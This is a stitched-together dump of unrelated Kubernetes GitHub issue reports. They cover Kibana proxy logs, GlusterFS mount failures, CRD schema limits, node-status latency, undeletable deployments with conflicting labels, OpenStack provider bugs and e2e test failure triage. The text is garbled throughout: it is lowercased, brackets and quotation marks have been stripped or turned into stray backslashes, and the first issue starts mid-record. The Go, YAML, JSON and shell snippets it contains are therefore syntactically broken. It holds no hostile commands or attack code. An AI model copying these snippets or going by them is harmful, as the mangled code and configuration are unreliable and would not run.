http://kibana.mycompany.local/app/kibana\ },\ res\ :{\ statuscode\ :404,\ responsetime\ :92,\ contentlength\ :9},\ message\ :\ get /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/commons.bundle.js?v=10146 404 92ms - 9.0b\ }\r {\ type\ :\ response\ ,\ @timestamp\ :\ 2017-06-21t15:23:51z\ ,\ tags\ :  ,\ pid\ :7,\ method\ :\ get\ ,\ statuscode\ :404,\ req\ :{\ url\ :\ /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/commons.style.css?v=10146\ ,\ method\ :\ get\ ,\ headers\ :{\ host\ :\ kibana.mycompany.local\ ,\ connection\ :\ close\ ,\ x-real-ip\ :\ 172.27.31.228\ ,\ x-forwarded-for\ :\ 172.27.31.228\ ,\ x-forwarded-host\ :\ kibana.mycompany.local\ ,\ x-forwarded-port\ :\ 80\ ,\ x-forwarded-proto\ :\ http\ ,\ x-original-uri\ :\ /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/commons.style.css?v=10146\ ,\ x-scheme\ :\ http\ ,\ user-agent\ :\ mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/57.0.2987.133 safari/537.36\ ,\ accept\ :\ text/css,/;q=0.1\ ,\ referer\ :\ http://kibana.mycompany.local/app/kibana\ ,\ accept-encoding\ :\ gzip, deflate, sdch\ ,\ accept-language\ :\ en-us,en;q=0.8,zh-cn;q=0.6\ },\ remoteaddress\ :\ 10.0.0.12\ ,\ useragent\ :\ 10.0.0.12\ ,\ referer\ :\ http://kibana.mycompany.local/app/kibana\ },\ res\ :{\ statuscode\ :404,\ responsetime\ :189,\ contentlength\ :9},\ message\ :\ get /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/commons.style.css?v=10146 404 189ms - 9.0b\ }\r {\ type\ :\ response\ ,\ @timestamp\ :\ 2017-06-21t15:23:51z\ ,\ tags\ :  ,\ pid\ :7,\ method\ :\ get\ ,\ statuscode\ :404,\ req\ :{\ url\ :\ /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/kibana.style.css?v=10146\ ,\ method\ :\ get\ ,\ headers\ :{\ host\ :\ kibana.mycompany.local\ ,\ connection\ :\ close\ ,\ x-real-ip\ :\ 172.27.31.228\ ,\ x-forwarded-for\ :\ 172.27.31.228\ ,\ x-forwarded-host\ :\ kibana.mycompany.local\ ,\ x-forwarded-port\ :\ 80\ ,\ x-forwarded-proto\ :\ http\ ,\ x-original-uri\ :\ /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/kibana.style.css?v=10146\ ,\ x-scheme\ :\ http\ ,\ user-agent\ :\ mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/57.0.2987.133 safari/537.36\ ,\ accept\ :\ text/css,/;q=0.1\ ,\ referer\ :\ http://kibana.mycompany.local/app/kibana\ ,\ accept-encoding\ :\ gzip, deflate, sdch\ ,\ accept-language\ :\ en-us,en;q=0.8,zh-cn;q=0.6\ },\ remoteaddress\ :\ 10.0.0.12\ ,\ useragent\ :\ 10.0.0.12\ ,\ referer\ :\ http://kibana.mycompany.local/app/kibana\ },\ res\ :{\ statuscode\ :404,\ responsetime\ :189,\ contentlength\ :9},\ message\ :\ get /api/v1/proxy/namespaces/kube-system/services/kibana-logging/bundles/kibana.style.css?v=10146 404 189ms - 9.0b\ }\r \r @kubernetes/sig-apps-misc\r  /area logging

 \r \r   what happened  :\r \r glusterfs plugin fail mounting volume at container creation in k8s 1.7.4:\r \r \r      3m    3m      1       kubelet, s-smartc4-zprei                  warning failedmount       mountvolume.setup failed for volume \ pvc-89998771-8e37-11e7-9fa1-005056b77c78\  : glusterfs: mount failed: mount failed: exit status 1\r mounting command: mount\r mounting arguments: 192.168.133.4:  vol_cd634264e40aa5a24bc21d8b73c3c787   /var/lib/kubelet/pods/9985b31a-8e37-11e7-9fa1-005056b77c78/volumes/kubernetes.io~glusterfs/pvc-89998771-8e37-11e7-9fa1-005056b77c78 glusterfs  auto_unmount log-level=error log-file=/var/lib/kubelet/plugins/kubernetes.io/glusterfs/pvc-89998771-8e37-11e7-9fa1-005056b77c78/nginx-pod-glusterfs.log backup-volfile-servers=192.168.133.2:192.168.133.3:192.168.133.4 \r   output: /usr/bin/fusermount-glusterfs: mount failed: invalid argument  \r \r    \r   what you expected to happen  :\r \r glusterfs mount the volume with auto:unmount off when a previous mount fail with this option. is a warning but rise a mount loop and the container never start. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy glusterfs and heketi.\r 2. launch a pod with a volume using glusterfs plugin\r 3. see pod logs\r \r   environment  :\r \r     root@s-smartc2-zprei:~  kubectl get nodes\r name              status    age       version\r s-smartc2-zprei   ready     21h       v1.7.4\r s-smartc3-zprei   ready     21h       v1.7.4\r s-smartc4-zprei   ready     21h       v1.7.4 \r \r    \r - kubernetes version  use  kubectl version  :\r \r    \r root@s-smartc2-zprei:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@s-smartc2-zprei:~ \r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r i try to run a command in kubernetes and want to get the command return code like docker command below:\r    \r root@hchenxa-1:~  docker run byrnedo/alpine-curl -s --connect-timeout 1 http://10.1.154.35:80\r root@hchenxa-1:~  echo $?\r 28\r    \r \r but seems if created by kubenretes batchjob, the container will be failed to start. \r \r anyone knows how to achive this?\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r currently it is not possible to set  additionalproperties  in a crd validation section of the spec to a schema. if set, validation rejects such crd. that means openapi schema for customresourcedefinitions does not support describing fields that are \ maps\  i.e. objects that do not have a pre-defined set of properties. examples of such fields are labels and annotations in object metadata. for more context please see  58746.\r \r   what you expected to happen  :\r it should be possible to describe a schema for a field that is a  map string string  equivalent in a go struct  or a  map string <anything valid here> /etc where keys are not known in advance . for example to restrict the keys that can be used - see https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/ syntax-and-character-set.\r \r   /area custom-resources\r /cc @sttts @nikhita

we've been observing some failures in our 5k-node density test caused due to high latency  >1s  of  patch node-status  calls. e.g:\r \r    \r warning top latency metric: {resource:nodes subresource:status verb:patch scope:cluster latency:{perc50:14.669ms perc90:525.081ms perc99:1.380235s perc100:0s} count:6873901}\r    \r \r some affected runs:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/132\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/131\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/130\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/126\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/125\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/123\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/121\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/119\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/118\r \r it increased from an earlier 700-800ms to 1-1.3s now.\r \r cc @kubernetes/sig-scalability-bugs @wojtek-t

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : based on the issue  71646 , test cases shouldn't be flaky. like watch or events related test cases have to be modified.\r \r   what you expected to happen  : test cases should be modified without any flaky. we should identify which e2e tests are using this anti-pattern, and determine if there is a recipe we can use to rewrite them to be less flaky. for example, we could likely use polling instead of waiting for an event.\r

why is cluster size being validated both in  bash  https://github.com/googlecloudplatform/kubernetes/blob/master/cluster/kube-up.sh l40  and  go  https://github.com/googlecloudplatform/kubernetes/blob/master/hack/e2e.go l270  during e2e tests?  it looks like it's validating cluster size twice when you run  go run hack/e2e.go -up .  i ask because i need to disable it for mesos testing  minion nodes do not exist until pods have been created . disabling via  -check_cluster_size=false  in e2e.go makes sense. disabling with an env var in bash could work too, but is messy. having to disable both is just silly.

scenario:\r - user is using experimental flag in production  even though they mayyyybe shouldn't \r - we remove the experimental flag in the next version  or rename it, because it's not experimental anymore \r - component rejects unknown flags  i think all components do this? . \r - the removal of the flag from the component breaks the upgrade, because the user still has it turned on in their provisioning.\r \r do we allow before/after flagsets to be configured for upgrades?\r \r do we have an officially documented policy that we hand users  runtime enforced too?  on how they should treat  --experimental  flags  e.g.  never  use them in production clusters .\r \r it feels like we should take some time  next quarter?  to think through how we cycle experimental flags in and out of components. \r \r this also affects dynamic configuration of components, i.e. the dynamic kubelet configuration feature.\r \r /cc @vishh @davidopp @bgrant0607 @thockin @dchen1107

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r 1.4.6 \r \r    \r root@c910f04x19k02:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@c910f04x19k02:~  \r    \r \r   environment  : \r -   cloud provider or hardware configuration  : hardware configuration\r -   os    e.g. from /etc/os-release : ubuntu 14.04.3\r -   kernel    e.g.  uname -a  : linux c910f04x19k02 3.19.0-74-generic  82~14.04.1-ubuntu smp fri oct 21 15:43:47 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r someone in our kubernetes cluster accidentally created the deployments with conflicting labels with the existing deployment.  as expected, the new deployments could not be scheduled, but the problem is that the new deployments and the existing deployment could not be deleted, with error \ timed out waiting for the condition\ . \r \r a more severe result is that these conflicts eventually crashed the kube-controller-manager after several days we are actually not 100% sure if the crash was caused by the lables conflicting, but the conflicting messages are the only error messages in the kube-controller-manager log files .\r \r we have figured out a way to delete these conflicting deployments through kubectl editing deployment <deployment_name> to fix the conflicts, and then these deployments could be deleted. but this involves a lot of administrator effort and the risk of crashing the system. \r \r   what you expected to happen  :\r \r the users should be able to delete the deployments with conflicting labels.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. create the deployment definition yaml files with conflicting labels:\r    \r root@c910f04x19k02:~/yaml/nginx  cat nginx-1.yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-nginx-1\r spec:\r   replicas: 4\r   template:\r     metadata:\r       labels:\r         app: my-nginx\r     spec:\r       containers:\r       - name: my-nginx\r         image: nginx:1.8.1\r         ports:\r         - containerport: 80\r root@c910f04x19k02:~/yaml/nginx  cat nginx-2.yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-nginx-2\r spec:\r   replicas: 4\r   template:\r     metadata:\r       labels:\r         app: my-nginx\r     spec:\r       containers:\r       - name: my-nginx\r         image: nginx:1.8.1\r         ports:\r         - containerport: 80\r root@c910f04x19k02:~/yaml/nginx  cat nginx-3.yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: my-nginx-3\r spec:\r   replicas: 4\r   template:\r     metadata:\r       labels:\r         app: my-nginx\r     spec:\r       containers:\r       - name: my-nginx\r         image: nginx:1.8.1\r         ports:\r         - containerport: 80\r root@c910f04x19k02:~/yaml/nginx  \r    \r 2. create the deployment\r \r    \r root@c910f04x19k02:~/yaml/nginx  kubectl create -f nginx-1.yaml\r deployment \ my-nginx-1\  created\r root@c910f04x19k02:~/yaml/nginx  kubectl create -f nginx-2.yaml\r deployment \ my-nginx-2\  created\r root@c910f04x19k02:~/yaml/nginx  kubectl create -f nginx-3.yaml\r deployment \ my-nginx-3\  created\r root@c910f04x19k02:~/yaml/nginx \r    \r \r 3. try to delete the deployments, will get error\r \r    \r root@c910f04x19k02:~/yaml/nginx  kubectl delete deployment my-nginx-1 my-nginx-2 my-nginx-3\r timed out waiting for the condition\r timed out waiting for the condition\r timed out waiting for the condition\r root@c910f04x19k02:~/yaml/nginx  kubectl delete deployment my-nginx-3\r error: timed out waiting for the condition\r root@c910f04x19k02:~/yaml/nginx  kubectl delete deployment my-nginx-2\r error: timed out waiting for the condition\r root@c910f04x19k02:~/yaml/nginx  kubectl delete deployment my-nginx-1\r error: timed out waiting for the condition\r root@c910f04x19k02:~/yaml/nginx  kubectl get deployment\r name         desired   current   up-to-date   available   age\r my-nginx-1   0         4         4            4           10m\r my-nginx-2   0         0         0            0           10m\r my-nginx-3   0         0         0            0           10m\r root@c910f04x19k02:~/yaml/nginx  \r    \r   anything else do we need to know  :\r \r

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-reboot-release-1.5/670/  run so broken it didn't make junit output!

when i start the kube-apiserver in command line by  /usr/bin/kube-apiserver --logtostderr=false --log_dir=/home/kube_apiserver/ --v=4 --etcd-servers=http://127.0.0.1:2379 --insecure-bind-address=0.0.0.0 --port=8080 --allow-privileged=true --service-cluster-ip-range=10.254.0.0/16 --admission-control=namespacelifecycle,namespaceexists,limitranger,securitycontextdeny,resourcequota , logs data output to  /home/kube_apiserver/  successfully. and the log files present detailed journal.\r \r but when i add configs to  /etc/kubernetes/apiserver  as following:\r    \r kube_api_args=\ --log_dir=/home/kube_apiserver/\ \r kube_log_level=\ --v=4\ \r kube_logtostderr=\ --logtostderr=false\ \r    \r and start service by  systemctl start kube-apiserver . there is no log data in directory  /home/kube_apiserver/ . and it seems that the service runs with  --logtostderr=true --v=0 . the concise logs output to terminal.\r \r is this caused by some mistakes in configs of kube-apiserver? or the wrong use of systemctl?

https://github.com/kubernetes/kubernetes/blob/1cb737fb970a65be2b3ff21cbf00196359b56cd3/pkg/apis/extensions/types.go l323-l325\r    go\r // total number of unavailable pods targeted by this deployment.\r // +optional\r unavailablereplicas int32\r    \r this is assuming we count unavailable pods from all   created   pods targeted by a deployment.\r in the controller, we calculate unavailable replicas based on spec.replicas which also includes pods that haven't been created.\r https://github.com/kubernetes/kubernetes/blob/1cb737fb970a65be2b3ff21cbf00196359b56cd3/pkg/controller/deployment/sync.go l594-l595\r we either need to fix the controller to use status.replicas instead of spec.replicas and in both cases update the godoc to explain better the intent of the field.\r @kubernetes/sig-apps-api-reviews

failure cluster  8956334f660a34c16bf6  https://go.k8s.io/triage 8956334f660a34c16bf6        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/example_cluster_dns.go:153 expected error:     < errors.errorstring | 0xc4202f9950>: {         s: \ failed to find \\\ hello world!\\\ , last result: \\\ traceback  most recent call last :\   file \\\ client.py\\\ , line 46, in <module>\     main  \   file \\\ client.py\\\ , line 41, in main\     checkserviceaddress args.address \   file \\\ client.py\\\ , line 26, in checkserviceaddress\     service_address = socket.gethostbyname hostname \ socket.gaierror:  errno -2  name or service not known\ \\\ \ ,     }     failed to find \ hello world!\ , last result: \ traceback  most recent call last :       file \ client.py\ , line 46, in <module>         main         file \ client.py\ , line 41, in main         checkserviceaddress args.address        file \ client.py\ , line 26, in checkserviceaddress         service_address = socket.gethostbyname hostname      socket.gaierror:  errno -2  name or service not known     \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/example_cluster_dns.go:151           failure cluster statistics: 1 tests failed,    2 jobs failed,    48 builds failed. failure stats cover 1 day time range '15 may 2017 20:02 utc' to '16 may 2017 20:02 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  clusterdns  feature:example  should create pod that uses dns | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-examples | 25 |  16 may 2017 18:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/5826  | | ci-kubernetes-e2e-gci-gce-examples | 23 |  16 may 2017 18:21 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/5116  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | sttts |  k8s.io  clusterdns  feature:example  should create pod that uses dns | | sig/network |  k8s.io  clusterdns  feature:example  should create pod that uses dns |  </details><br>   current status  https://go.k8s.io/triage 8956334f660a34c16bf6

failure cluster  d68410e5e07b7840f13f  https://go.k8s.io/triage d68410e5e07b7840f13f        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_upgrade.go:160 expected error:     < errors.errorstring | 0xc420bb2420>: {         s: \ failed to execute a successful get within 15m0s, last response body for https://35.190.15.32/, host :\ \ \ timed out waiting for the condition\ \ ,     }     failed to execute a successful get within 15m0s, last response body for https://35.190.15.32/, host :               timed out waiting for the condition      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/upgrades/ingress.go:75           failure cluster statistics: 3 tests failed,    4 jobs failed,    52 builds failed. failure stats cover 1 day time range '19 may 2017 17:53 utc' to '20 may 2017 17:53 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  downgrade  feature:downgrade   k8s.io  cluster downgrade should maintain a functioning cluster  feature:clusterdowngrade  | 2 | |  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade  | 1 | |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster | 21 |  20 may 2017 15:31 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1.6-1.5-downgrade-cluster/3115  | | ci-kubernetes-e2e-gke-gci-1.6-gci-1.5-downgrade-cluster | 19 |  20 may 2017 14:54 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.6-gci-1.5-downgrade-cluster/1926  | | ci-kubernetes-e2e-gce-latest-upgrade-master | 7 |  20 may 2017 14:46 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-latest-upgrade-master/2048  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | luxas |  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  | | xiang90 |  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade  | | sig/cluster-lifecycle |  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade ;  k8s.io  upgrade  feature:upgrade   k8s.io  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  |  </details><br>   current status  https://go.k8s.io/triage d68410e5e07b7840f13f

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ clean\ , builddate:\ 2017-06-07t06:07:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.184+3837d951919006\ , gitcommit:\ 3837d9519190069c44a453c145869e1fced52f23\ , gittreestate:\ clean\ , builddate:\ 2017-06-07t06:07:10z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r support --dry-run in patch command\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r ref to  45712

is this a bug report or feature request?  :\r  \r   what happened  :\r the normal providerid of openstack instance is like: openstack:///39d205c2-82ab-4245-bc34-8bf5c3260c33, but openstack cloud provider can not get instanceid from providerid.\r filter by:\r /------------------\r /  kubectl get node kube-minion-hkuuhsvxwzpy -o yaml | grep openstack\r   providerid: openstack:///39d205c2-82ab-4245-bc34-8bf5c3260c33\r /------------------\r \r   what you expected to happen  :\r openstack cloud provider can get instanceid from providerid.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r url can't parse the providerid of openstack instance.\r my test script as follows:\r /-----------\r providerid := \ openstack:///39d205c2-82ab-4245-bc34-8bf5c3260c33\ \r     parsedid, err := url.parse providerid \r     if err != nil {\r         fmt.println \ %v\ , err \r     }\r     fmt.printf \ % v\ \ , parsedid \r     if len parsedid.host  == 0 {\r         fmt.printf \ can't get instanceid from providerid\ \  \r     } else {\r         fmt.printf \ the instanceid is:%s\ \ , parsedid.host \r     }\r /-----------\r run result:\r /-----------\r &url.url{scheme:\ openstack\ , opaque:\ \ , user:  url.userinfo  nil , host:\ \ , path:\ /39d205c2-82ab-4245-bc34-8bf5c3260c33\ , rawpath:\ \ , forcequery:false, rawquery:\ \ , fragment:\ \ }\r can't get instanceid from providerid\r \r /-----------\r \r   environment  :   deploy by latest codes\r - kubernetes version  use  kubectl version  : \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  : \r there were a bunch of pvcs which were in bound state. the pvs associated with the pvcs got their status changed to \ released\  without me triggering pvc delete. this resulted in pv deletion due to my reclaim policy set to \ delete\ . the pvc went into lost state as a result. why this pv state is changed automatically ?\r \r   what you expected to happen  :\r the pv status should not be updated when its bound to a pvc without manual trigger\r \r   how to reproduce it  as minimally and precisely as possible   :\r not known as this is auto change of status in pv\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.5.6\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/50198/pull-kubernetes-node-e2e/44899/ always fails.\r \r most of the test failures are as below:\r    \r  sig-network  services should preserve source pod ip for traffic thru service cluster ip 18s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=\\ sig\\-network\\ \\sservices\\sshould\\spreserve\\ssource\\spod\\sip\\sfor\\straffic\\sthru\\sservice\\scluster\\sip$'\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/service.go:275\r image \ gcr.io/google_containers/e2e-net-amd64:1.0\  is not in the white list, consider adding it to commonimagewhitelist in test/e2e/common/util.go or nodeimagewhitelist in test/e2e_node/image_list.go\r expected\r     <bool>: false\r to be true\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:180\r    \r \r    \r  sig-network  services should release nodeports on delete 5m8s\r go run hack/e2e.go -v -test --test_args='--ginkgo.focus=\\ sig\\-network\\ \\sservices\\sshould\\srelease\\snodeports\\son\\sdelete$'\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/network/service.go:1116\r expected error:\r     < errors.errorstring | 0xc420294e60>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:3290\r    \r \r we should add  gcr.io/google_containers/e2e-net-amd64:1.0  to white list to avoid timeout.\r \r  testing\r /cc @bowei @random-liu \r /assign

is this a bug report or feature request?  :\r  \r   what happened  :\r creating a service with  type: loadbalancer  created a load balancer without a floating ip.\r \r   what you expected to happen  :\r load balancer should have a floating ip assigned by default.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx\r   labels:\r     k8s-app: nginx\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         k8s-app: nginx\r     spec:\r       containers:\r       - image: nginx\r         name: nginx\r         ports:\r         - containerport: 80\r           hostport: 80\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: nginx\r spec:\r   type: loadbalancer\r   ports:\r   - port: 80\r     protocol: tcp\r     name: http\r   selector:\r     k8s-app: nginx\r    \r deploy this manifest on a  1.8.0-rc.1  cluster and check the resulting load balancer. no floating ip will be assigned.\r \r   anything else we need to know?  :\r the default behavior changed from k8s 1.7.x. it appears that 9bdf2cc0 added an annotation that will add a floating ip, but the default should not have changed without warning.\r \r this also breaks the  kubectl expose  workflow. for example:\r    \r $ kubectl run nginx --image nginx --replicas 3\r deployment \ nginx\  created\r \r $ kubectl expose deployment/nginx --port=80 --type=loadbalancer\r service \ nginx\  exposed\r \r $ kubectl get svc nginx\r name      cluster-ip    external-ip   port s         age\r nginx     10.3.32.166   10.0.0.19     80:30985/tcp   1m\r \r $ kubectl describe svc nginx\r name:\t\t\tnginx\r namespace:\t\tdefault\r labels:\t\t\trun=nginx\r annotations:\t\t<none>\r selector:\t\trun=nginx\r type:\t\t\tloadbalancer\r ip:\t\t\t10.3.32.166\r loadbalancer ingress:\t10.0.0.19\r ...\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0-rc.1+coreos.0\r - cloud provider or hardware configuration  : openstack\r - os  e.g. from /etc/os-release : container linux by coreos 1520.4.0  ladybug \r - kernel  e.g.  uname -a  : 4.13.3-coreos\r - install tools:\r - others:\r

when subresources for custom resources  https://github.com/kubernetes/kubernetes/pull/55168  will be merged, we should include an example with the  polymorphic scale client  https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io/client-go/scale .\r \r not everyone knows about it and many will probably wonder how to use the scale subresource with  client-go .\r \r ideas on how to incorporate this into the existing controller welcome.\r \r   \r /cc @sttts @munnerz @directxman12

